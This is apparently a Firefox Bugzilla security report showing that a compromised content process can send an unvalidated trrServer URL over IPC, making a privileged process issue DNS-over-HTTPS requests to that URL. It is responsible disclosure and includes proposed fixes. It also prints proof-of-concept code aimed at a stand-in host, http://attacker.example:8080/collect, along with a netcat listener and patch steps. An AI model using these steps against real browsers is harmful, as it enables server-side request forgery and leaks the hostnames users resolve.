Compromised Content Process Can Cause Privileged-Process SSRF via Content-Controlled TRR Server URL in `PNecko::PDNSRequest`
Categories
(Core :: Networking: DNS, defect)
Tracking
()
People
(Reporter: geeknik, Unassigned)
Details
(Keywords: ai-involved, reporter-external, Whiteboard: [client-bounty-form])
Summary
A compromised content process can send a PNecko::PDNSRequest IPC message
with an attacker-controlled trrServer parameter. The receiving handler
NeckoParent::RecvPDNSRequestConstructor passes this string through the
entire DNS-over-HTTPS resolution chain without any validation — no scheme
check, no allowlist, no URL sanitization. The privileged process (parent, or
socket process when network.process.enabled=true) ultimately makes an
HTTP(S) request to the attacker-supplied URL via DNSUtils::CreateChannelHelper.
Depending on configuration, the DNS request may be handled in the parent
process directly, or relayed to the socket process
(DNSRequestChild.cpp:494-497). In either case the request executes outside
the content sandbox.
The https-scheme enforcement in TRRServiceBase::ProcessURITemplate
(netwerk/dns/TRRServiceBase.cpp:52) applies only to the pref-configured
default TRR server URI (set via network.trr.uri). Per-request custom TRR
server URLs supplied through IPC are never checked by ProcessURITemplate —
they flow through a completely separate code path (TRR::CreateQueryURI
line 153: uri = mRec->mTrrServer). The attacker-supplied URL must use an
http:// or https:// scheme, because the TRR code requires an
nsIHttpChannel (TRR.cpp:309 — do_QueryInterface to nsIHttpChannel
fails for non-HTTP schemes). Standard HTTP unsafe-port checks still apply,
though common web ports (80, 443, 8080, etc.) remain viable targets.
Additionally, a non-empty trrServer forces TRR_ONLY_MODE for the
affected lookup (nsHostResolver.cpp:1073-1075). This does not mutate the
global network.trr.mode preference, but for each request where the
attacker supplies a custom trrServer, the lookup is forced to use only
that server with no fallback to the system resolver.
Affected Code
IPDL declaration (netwerk/ipc/PNecko.ipdl:87-89) — child-to-parent message:
async PDNSRequest(nsCString hostName, nsCString trrServer, int32_t port,
uint16_t type, OriginAttributes originAttributes,
DNSFlags flags);
trrServer is a plain nsCString with no type constraint or annotation.
Parent-side handler (netwerk/ipc/NeckoParent.cpp:549-560):
mozilla::ipc::IPCResult NeckoParent::RecvPDNSRequestConstructor(
PDNSRequestParent* aActor, const nsACString& aHost,
const nsACString& aTrrServer, const int32_t& aPort, const uint16_t& aType,
const OriginAttributes& aOriginAttributes,
const nsIDNSService::DNSFlags& aFlags) {
RefPtr<DNSRequestParent> actor = static_cast<DNSRequestParent*>(aActor);
RefPtr<DNSRequestHandler> handler =
actor->GetDNSRequest()->AsDNSRequestHandler();
handler->DoAsyncResolve(aHost, aTrrServer, aPort, aType, aOriginAttributes,
aFlags);
return IPC_OK();
}
No validation of aTrrServer. Passed directly to DoAsyncResolve.
DNS request handler (netwerk/dns/DNSRequestParent.cpp:39-58):
void DNSRequestHandler::DoAsyncResolve(const nsACString& hostname,
const nsACString& trrServer,
int32_t port, uint16_t type,
const OriginAttributes& originAttributes,
nsIDNSService::DNSFlags flags) {
// ...
RefPtr<DNSAdditionalInfo> info;
if (!trrServer.IsEmpty() || port != -1) {
info = new DNSAdditionalInfo(trrServer, port); // attacker string stored verbatim
}
rv = dns->AsyncResolveNative(
hostname, static_cast<nsIDNSService::ResolveType>(type), flags, info,
this, main, originAttributes, getter_AddRefs(unused));
}
trrServer wrapped in DNSAdditionalInfo and forwarded into the resolver.
Host key storage (netwerk/dns/nsHostResolver.cpp:523-524):
nsHostKey key(host, aTrrServer, type, flags, af,
(aOriginAttributes.IsPrivateBrowsing()), originSuffix);
aTrrServer stored verbatim in the host record key.
Forced TRR_ONLY_MODE (netwerk/dns/nsHostResolver.cpp:1073-1076):
if (!aRec->mTrrServer.IsEmpty()) {
aRec->mEffectiveTRRMode = nsIRequest::TRR_ONLY_MODE;
return;
}
Any non-empty trrServer forces mEffectiveTRRMode to TRR_ONLY_MODE
for that record/lookup, bypassing the user's configured TRR mode for the
affected resolution.
TRR query URI construction (netwerk/dns/TRR.cpp:147-164):
nsresult TRR::CreateQueryURI(nsIURI** aOutURI) {
nsAutoCString uri;
nsCOMPtr<nsIURI> dnsURI;
if (UseDefaultServer()) {
TRRService::Get()->GetURI(uri); // pref-configured, scheme-checked
} else {
uri = mRec->mTrrServer; // attacker-controlled, unchecked
}
nsresult rv = NS_NewURI(getter_AddRefs(dnsURI), uri);
// ...
}
UseDefaultServer() returns false when mRec->mTrrServer is non-empty
(TRR.cpp:1000). The attacker URL is used directly — NS_NewURI accepts
any valid URI, including http://.
HTTP request creation (netwerk/dns/TRR.cpp:291):
rv = DNSUtils::CreateChannelHelper(dnsURI, getter_AddRefs(channel));
Channel creation (netwerk/dns/DNSUtils.cpp:36-52):
return NS_NewChannel(
aResult, aUri, nsContentUtils::GetSystemPrincipal(),
nsILoadInfo::SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULL,
nsIContentPolicy::TYPE_OTHER, ...);
The privileged process (parent or socket process) creates an HTTP channel
to the attacker-controlled URI. On the main-thread path, this uses the
system principal with SEC_ALLOW_CROSS_ORIGIN. On the socket-process path,
gHttpHandler->CreateTRRServiceChannel is used (line 72).
Scheme check that does NOT apply (netwerk/dns/TRRServiceBase.cpp:42-57):
void TRRServiceBase::ProcessURITemplate(nsACString& aURI) {
// ...
if (!scheme.Equals("https")) {
aURI.Truncate();
return;
}
// ...
}
This function is called only when processing the pref-configured default TRR
URI (network.trr.uri). Per-request custom TRR servers from IPC never pass
through ProcessURITemplate.
Complete Attack Chain
Content process (compromised)
→ sends PNecko::PDNSRequest with trrServer="http://attacker.example/collect"
→ NeckoParent::RecvPDNSRequestConstructor (no validation)
→ DNSRequestHandler::DoAsyncResolve (wraps in DNSAdditionalInfo)
→ nsHostResolver (stores trrServer in host key, forces TRR_ONLY_MODE
for this lookup)
→ TRR::CreateQueryURI (UseDefaultServer()=false, uses attacker URL)
→ TRR::SendHTTPRequest
→ DNSUtils::CreateChannelHelper(attacker_url)
→ Privileged process makes HTTP(S) request to attacker.example
(parent process, or socket process if network.process.enabled)
Steps to Reproduce
Method A: Debugger-based (direct IPC message)
- Build Firefox (debug or release — behavior is identical).
- Launch Firefox and load any webpage.
- Attach a debugger (lldb/gdb) to the content process.
- Set up an HTTP listener on attacker-controlled host to log incoming requests:
# On attacker host, log all incoming requests nc -l -p 8080 # Or use a more capable listener: python3 -m http.server 8080 - In the content process debugger, send the IPC message:
// Obtain the NeckoChild IPC actor
mozilla::net::PNeckoChild* necko = mozilla::net::gNeckoChild;
// Construct the DNS request with attacker-controlled TRR server URL
nsCString hostname("anything.example.com"_ns);
nsCString trrServer("http://attacker.example:8080/collect"_ns);
int32_t port = -1;
uint16_t type = 0; // RESOLVE_TYPE_DEFAULT (A record)
mozilla::OriginAttributes oa;
nsIDNSService::DNSFlags flags = nsIDNSService::RESOLVE_DEFAULT_FLAGS;
// Send — a privileged process (parent or socket process) will make an
// HTTP(S) request to attacker.example
necko->SendPDNSRequestConstructor(hostname, trrServer, port, type, oa, flags);
- Observe the privileged process (parent or socket process) making an HTTP
POST (DoH wire format) tohttp://attacker.example:8080/collect. The
request body contains the DNS query foranything.example.comin RFC 8484
wire format. The HTTP headers include theAccept: application/dns-message
header (set atTRR.cpp:319). The request is anonymous (LOAD_ANONYMOUS)
— no cookies or TRR credentials are sent.
Method B: Patched content process (end-to-end proof)
- Modify the content-side DNS path — either where
aInfois consumed in
ChildDNSService::AsyncResolveNative(netwerk/dns/ChildDNSService.cpp:210)
to inject an attacker-controlledtrrServerinto theDNSAdditionalInfo,
orDNSRequestChild.cpp:475to
replace themTrrServerfield in the outboundSendPDNSRequestConstructor
call with an attacker URL. - Rebuild and run. Trigger any DNS lookup from web content.
- Observe the privileged process contacting the attacker URL.
Method C: xpcshell test (parent-side sink verification)
Write an xpcshell test that calls nsIDNSService::asyncResolveNative
directly with a DNSAdditionalInfo containing an attacker URL, verifying
the parent-side sink accepts it without validation:
let dns = Cc["@mozilla.org/network/dns-service;1"].getService(Ci.nsIDNSService);
let info = dns.newAdditionalInfo("http://attacker.example:8080/collect", -1);
dns.asyncResolveNative(
"anything.example.com",
Ci.nsIDNSService.RESOLVE_TYPE_DEFAULT,
Ci.nsIDNSService.RESOLVE_DEFAULT_FLAGS,
info,
{
onLookupComplete(inRequest, inRecord, inStatus) {
// A privileged process (parent or socket process) will have
// already made the HTTP request to attacker.example:8080 by this point
},
},
Services.tm.mainThread,
{} // default OriginAttributes
);
Expected Behavior
The receiving privileged process should validate the trrServer parameter
from the content process before using it as an HTTP request target. At
minimum:
- Enforce
httpsscheme (matching the check applied to the pref-configured default) - Validate against the configured TRR URL or an allowlist
- Reject per-request TRR server overrides from content processes entirely
(there is no legitimate reason for a content process to specify a custom
DoH resolver)
Security Impact
- Severity: Sandbox-boundary violation / post-compromise SSRF primitive
- Attack prerequisite: Code execution in the content process (compromised
renderer sending existingPNeckoIPC messages directly) - Privileged-process SSRF: The privileged process (parent, or socket
process whennetwork.process.enabled=true) makes an HTTP(S) request to
an attacker-controlled URL. This request originates outside the content
sandbox and can reach hosts/ports that the content process itself cannot
(e.g., localhost services, internal network hosts blocked by content-process
sandboxing). Standard unsafe-port checks still apply on the HTTP channel
path (NS_CheckPortSafety— viaTRRServiceChannel.cpp:212on the
socket-process path,nsHttpChannel.cpp:7761on the main-thread path),
but common web ports (80, 443, 8080, etc.) remain viable targets - Hostname exfiltration: The DNS query hostname is included in the DoH
request body (RFC 8484 wire format). An attacker can exfiltrate the
hostnames being resolved by the compromised content process to their
own server - Per-lookup TRR mode override: Non-empty
trrServerforces
TRR_ONLY_MODEfor the affected lookup (nsHostResolver.cpp:1073). This
does not mutate the globalnetwork.trr.modepref, but for each request
where the attacker supplies a customtrrServer, that lookup uses only the
attacker server with no fallback to the system resolver. This can be used
to selectively deny resolution for specific hostnames (by pointing at a
non-responsive server) or to route specific lookups through attacker
infrastructure - Credential exposure is limited: The channel is created with
LOAD_ANONYMOUSflags (TRR.cpp:298), which prevents cookies from being
sent. TheAuthorizationheader is only added for the default TRR server
(TRR.cpp:323— gated onUseDefaultServer()), so TRR credentials are
not leaked to the attacker endpoint - Scheme restriction gap: Unlike the default TRR URI which is validated
to behttpsbyProcessURITemplate, the per-request path accepts
http://URLs (the URL must use an HTTP(S) scheme because
do_QueryInterfacetonsIHttpChannelatTRR.cpp:309fails for
non-HTTP channels). This means the DoH query (containing the target
hostname) can be sent over plaintext HTTP
Updated•8 months ago
|
Updated•7 months ago
|
Updated•2 months ago
|
Description
•